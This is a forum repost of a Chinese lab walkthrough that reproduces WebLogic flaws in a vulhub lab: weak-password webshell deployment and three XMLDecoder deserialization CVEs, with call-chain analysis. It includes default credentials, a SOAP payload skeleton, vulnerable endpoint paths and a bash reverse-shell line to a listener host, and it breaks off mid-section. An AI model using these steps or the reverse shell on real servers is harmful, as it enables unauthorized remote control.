搜索

[18613] 2021-08-09_干货最全的Weblogic漏洞复现

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2021-08-09_干货最全的Weblogic漏洞复现 干 货   |   最 全 的 W e b l o g i c 漏 洞 复 现 原 创   m a t h w i z a r d   H A C K 学 习 呀   2 0 2 1 - 0 8 - 0 9 收 录 于 话 题 # w e b l o g i c   , 1 # 渗 透 测 试   , 1 2 简 介 简 介 W e b L o g i c 是 美 国 O r a c l e 公 司 出 品 的 一 个 a p p l i c a t i o n   s e r v e r ， 确 切 的 说 是 一 个 基 于 J A V A E E 架 构 的 中 间 件 ， W e b L o g i c 是 用 于 开 发 、 集 成 、 部 署 和 管 理 大 型 分 布 式 W e b 应 用 、 网 络 应 用 和 数 据 库 应 用 的 J a v a 应 用 服 务 器 。 将 J a v a 的 动 态 功 能 和 J a v a   E n t e r p r i s e 标 准 的 安 全 性 引 入 大 型 网 络 应 用 的 开 发 、 集 成 、 部 署 和 管 理 之 中 。 W e b L o g i c 是 美 商 O r a c l e 的 主 要 产 品 之 一 ， 是 并 购 B E A 得 来 。 是 商 业 市 场 上 主 要 的 J a v a （ J 2 E E ） 应 用 服 务 器 软 件 （ a p p l i c a t i o n   s e r v e r ） 之 一 ， 是 世 界 上 第 一 个 成 功 商 业 化 的 J 2 E E 应 用 服 务 器 ,   已 推 出 到 1 2 c ( 1 2 . 2 . 1 . 4 )   版 。 而 此 产 品 也 延 伸 出 W e b L o g i c   P o r t a l ， W e b L o g i c   I n t e g r a t i o n 等 企 业 用 的 中 间 件 （ 但 当 下 O r a c l e 主 要 以 F u s i o n   M i d d l e w a r e 融 合 中 间 件 来 取 代 这 些 W e b L o g i c   S e r v e r 之 外 的 企 业 包 ） ， 以 及 O E P E ( O r a c l e   E n t e r p r i s e   P a c k   f o r   E c l i p s e ) 开 发 工 具 。 本 文 将 对 一 些 常 见 的 w e b l o g i c 漏 洞 进 行 漏 洞 分 析 及 复 现 ， 漏 洞 环 境 基 于 v u l h u b 搭 建 。 弱 口 令 弱 口 令 漏 洞 原 理 漏 洞 原 理 在 w e b l o g i c 搭 建 好 之 后 没 有 修 改 进 入 后 台 的 密 码 导 致 弱 口 令 登 录 获 得 w e b s h e l l 漏 洞 复 现 漏 洞 复 现 进 入 的 d o c k e r 环 境 访 问 一 下 7 0 0 1 端 口 ， 这 里 出 现 4 0 4 是 正 常 的 w e a k _ p a s s w o r d
访 问 h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 : 7 0 0 1 / c o n s o l e 如 下 图 所 示 这 里 注 意 一 下 不 能 使 用 b p 抓 包 去 爆 破 ， 错 误 密 码 5 次 之 后 就 会 自 动 锁 定 ， 这 里 使 用 w e b l o g i c / O r a c l e @ 1 2 3 登 陆 后 台 登 录 后 台 后 点 击 部 署
点 击 安 装 点 击 上 传 文 件 这 里 需 要 准 备 一 个 w a r 包 ， 这 个 w a r 包 里 面 存 放 的 就 是 一 个 j s p 的 马 ， 使 用 如 下 命 令 打 包 当 前 文 件 夹 下 的 所 有 文 件 j a r   - c v f   a a a . w a r   .
然 后 上 传 a a a . w a r 点 击 下 一 步 一 直 N e x t 即 可
到 这 里 点 击 完 成 可 以 看 到 这 里 a a a . w a r 已 经 部 署 成 功
直 接 上 冰 蝎 连 接 即 可 ， 这 里 a a a 是 我 的 w a r 名 ， s h e l l . j s p 是 打 包 在 w a r 里 面 的 文 件 C V E - 2 0 1 7 - 3 5 0 6 X M L D e c o d e r 反 序 列 化 漏 洞 ( C V E - 2 0 1 7 - 3 5 0 6 ) 漏 洞 原 理 漏 洞 原 理 在 / w l s - w s a t / C o o r d i n a t o r P o r t T y p e （ P O S T ） 处 构 造 S O A P （ X M L ） 格 式 的 请 求 ， 在 解 析 的 过 程 中 导 致 X M L D e c o d e r 反 序 列 化 漏 洞 分 析 漏 洞 调 用 链 分 析 漏 洞 调 用 链 w e b l o g i c . w s e e . j a x w s . w o r k c o n t e x t . W o r k C o n t e x t S e r v e r T u b e . p r o c e s s R e q u e s t w e b l o g i c . w s e e . j a x w s . w o r k c o n t e x t . W o r k C o n t e x t T u b e . r e a d H e a d e r O l d w e b l o g i c . w s e e . w o r k a r e a . W o r k C o n t e x t X m l I n p u t A d a p t e r 先 看 一 下 w e b l o g i c . w s e e . j a x w s . w o r k c o n t e x t . W o r k C o n t e x t S e r v e r T u b e . p r o c e s s R e q u e s t 方 法
第 4 3 行 ， 将 l o c a l H e a d e r 1 变 量 带 入 到 r e a d H e a d e r O l d ( ) 方 法 中 。 l o c a l H e a d e r 1 变 量 由 第 4 1 行 定 义 ， 其 值 为 w o r k : W o r k C o n t e x t   标 签 包 裹 的 数 据 。 跟 进 r e a d H e a d e r O l d ( ) 方 法 （ w e b l o g i c . w s e e . j a x w s . w o r k c o n t e x t . W o r k C o n t e x t T u b e . r e a d H e a d e r O l d ） 在 1 0 6 行 ， 有 一 句 n e w   W o r k C o n t e x t X m l I n p u t A d a p t e r ( n e w   B y t e A r r a y I n p u t S t r e a m ( l o c a l B y t e A r r a y O u t p u t S t r e a m . t o B y t e A r r a y ( ) ) ) ， 创 建 了 W o r k C o n t e x t X m l I n p u t A d a p t e r ( ) 对 象 （ 即 对 W o r k C o n t e x t X m l I n p u t A d a p t e r 类 进 行 了 实 例 化 ） ， 带 入 构 造 函 数 的 参 数 即 为 传 入 的 X M L 格 式 序 列 化 数 据 。 跟 进 至 W o r k C o n t e x t X m l I n p u t A d a p t e r 类 中 （ w e b l o g i c . w s e e . w o r k a r e a . W o r k C o n t e x t X m l I n p u t A d a p t e r   ） 第 1 9 行 ， 此 处 通 过 X M L D e c o d e r 反 序 列 化 ， 输 入 内 容 可 控 ， 故 漏 洞 产 生 。 漏 洞 复 现 漏 洞 复 现 这 里 使 用 的 环 境 w e b l o g i c 的 版 本 为 1 0 . 3 . 6 ， 也 存 在 这 个 漏 洞 ， 所 以 继 续 使 用 这 个 d o c k e r         < w o r k : W o r k C o n t e x t   x m l n s : w o r k = " h t t p : / / b e a . c o m / 2 0 0 4 / 0 6 / s o a p / w o r k a r e a / " >                 < j a v a >   . . .             < / j a v a >           < / w o r k : W o r k C o n t e x t >   w e a k _ p a s s w o r d
访 问 以 下 目 录 中 的 一 种 ， 有 回 显 如 下 图 可 以 判 断 w l s - w s a t 组 件 存 在 在 当 前 页 面 抓 包 之 后 在 标 签 之 间 分 别 写 存 放 j s p 的 路 径 和 要 写 入 的 s h e l l 然 后 直 接 冰 蝎 连 接 即 可 / w l s - w s a t / C o o r d i n a t o r P o r t T y p e / w l s - w s a t / R e g i s t r a t i o n P o r t T y p e R P C / w l s - w s a t / P a r t i c i p a n t P o r t T y p e / w l s - w s a t / R e g i s t r a t i o n R e q u e s t e r P o r t T y p e / w l s - w s a t / C o o r d i n a t o r P o r t T y p e 1 1 / w l s - w s a t / R e g i s t r a t i o n P o r t T y p e R P C 1 1 / w l s - w s a t / P a r t i c i p a n t P o r t T y p e 1 1 / w l s - w s a t / R e g i s t r a t i o n R e q u e s t e r P o r t T y p e 1 1
C V E - 2 0 1 7 - 1 0 2 7 1 X M L D e c o d e r 反 序 列 化 漏 洞 ( C V E - 2 0 1 7 - 1 0 2 7 1 ) 漏 洞 原 理 漏 洞 原 理 在 C V E - 2 0 1 7 - 3 5 0 6 之 前 ， 不 对 p a y l o a d 进 行 验 证 ， 使 用 o b j e c t   t a g 可 以 R C E ， C V E - 2 0 1 7 - 3 5 0 6 的 补 丁 在 中 添 加 了 v a l i d a t e 方 法 ， 在 解 析 x m l 时 ， E l e m e n t 字 段 出 现 o b j e c t   t a g 就 抛 出 运 行 时 异 常 ， 不 过 这 次 防 护 力 度 不 够 ， 导 致 了 C V E - 2 0 1 7 - 1 0 2 7 1 ， 利 用 方 式 类 似 ， 使 用 了 v o i d   t a g 进 行 R C E ， 于 是 C V E - 2 0 1 7 - 1 0 2 7 1 的 补 丁 将 o b j e c t 、 n e w 、 m e t h o d 关 键 字 加 入 黑 名 单 ， 针 对 v o i d 和 a r r a y 这 两 个 元 素 是 有 选 择 性 的 抛 异 常 ， 其 中 当 解 析 到 v o i d 元 素 后 ， 还 会 进 一 步 解 析 该 元 素 中 的 属 性 名 ， 若 没 有 匹 配 上 i n d e x 关 键 字 才 会 抛 出 异 常 。 而 针 对 a r r a y 元 素 而 言 ， 在 解 析 到 该 元 素 属 性 名 匹 配 c l a s s 关 键 字 的 前 提 下 ， 还 会 解 析 该 属 性 值 ， 若 没 有 匹 配 上 b y t e 关 键 字 ， 才 会 抛 出 运 行 时 异 常 。 总 之 ， 这 次 的 补 丁 基 本 上 限 定 了 不 能 生 成 j a v a 实 例 。 漏 洞 复 现 漏 洞 复 现 进 入 C V E - 2 0 1 7 - 1 0 2 7 1 对 应 的 d o c k e r 环 境 访 问 h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 : 7 0 0 1 / w l s - w s a t / C o o r d i n a t o r P o r t T y p e 如 下 图 所 示 则 存 在 漏 洞 b p 在 当 前 页 面 抓 包 后 使 用 b a s h 命 令 反 弹 s h e l l ， n c 开 启 端 口 即 可 w e b l o g i c / w s e e / w o r k a r e a / W o r k C o n t e x t X m l I n p u t A d a p t e r . j a v a / b i n / b a s h - c b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 2 / 5 5 5 5   0 > & 1
C V E - 2 0 1 9 - 2 7 2 5 w l s - w s a t 反 序 列 化 漏 洞 ( C V E - 2 0 1 9 - 2 7 2 5 ) 。 攻 击 者 可 以 发 送 精 心 构 造 的 恶 意 H T T P 请 求 ， 在 未 授 权 的 情 况 下 远 程 执 行 命 令 。 漏 洞 原 理 漏 洞 原 理 漏 洞 触 发 点 ： b e a _ w l s 9 _ a s y n c _ r e s p o n s e . w a r 、 w s a t . w a r 影 响 版 本 ： O r a c l e   W e b L o g i c   S e r v e r   1 0 . *   、 O r a c l e   W e b L o g i c   S e r v e r   1 2 . 1 . 3 通 过 C V E - 2 0 1 9 - 2 7 2 5 补 丁 分 析 发 现 ， 较 上 一 个 漏 洞 C V E - 2 0 1 7 - 1 0 2 7 1 补 丁 而 言 ， 官 方 新 增 了 对 c l a s s 元 素 的 过 滤 ， 并 且 a r r a y 元 素 的 l e n g t h 属 性 转 换 为 整 形 后 不 得 大 于 1 0 0 0 0 ： 本 次 漏 洞 利 用 某 个 元 素 成 功 替 换 了 补 丁 所 限 制 的 元 素 ， 再 次 绕 过 了 补 丁 黑 名 单 策 略 ， 最 终 造 成 远 程 命 令 执 行 。 漏 洞 复 现 漏 洞 复 现 访 问 以 下 目 录 中 的 一 种 ， 如 下 图 所 示 则 漏 洞
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理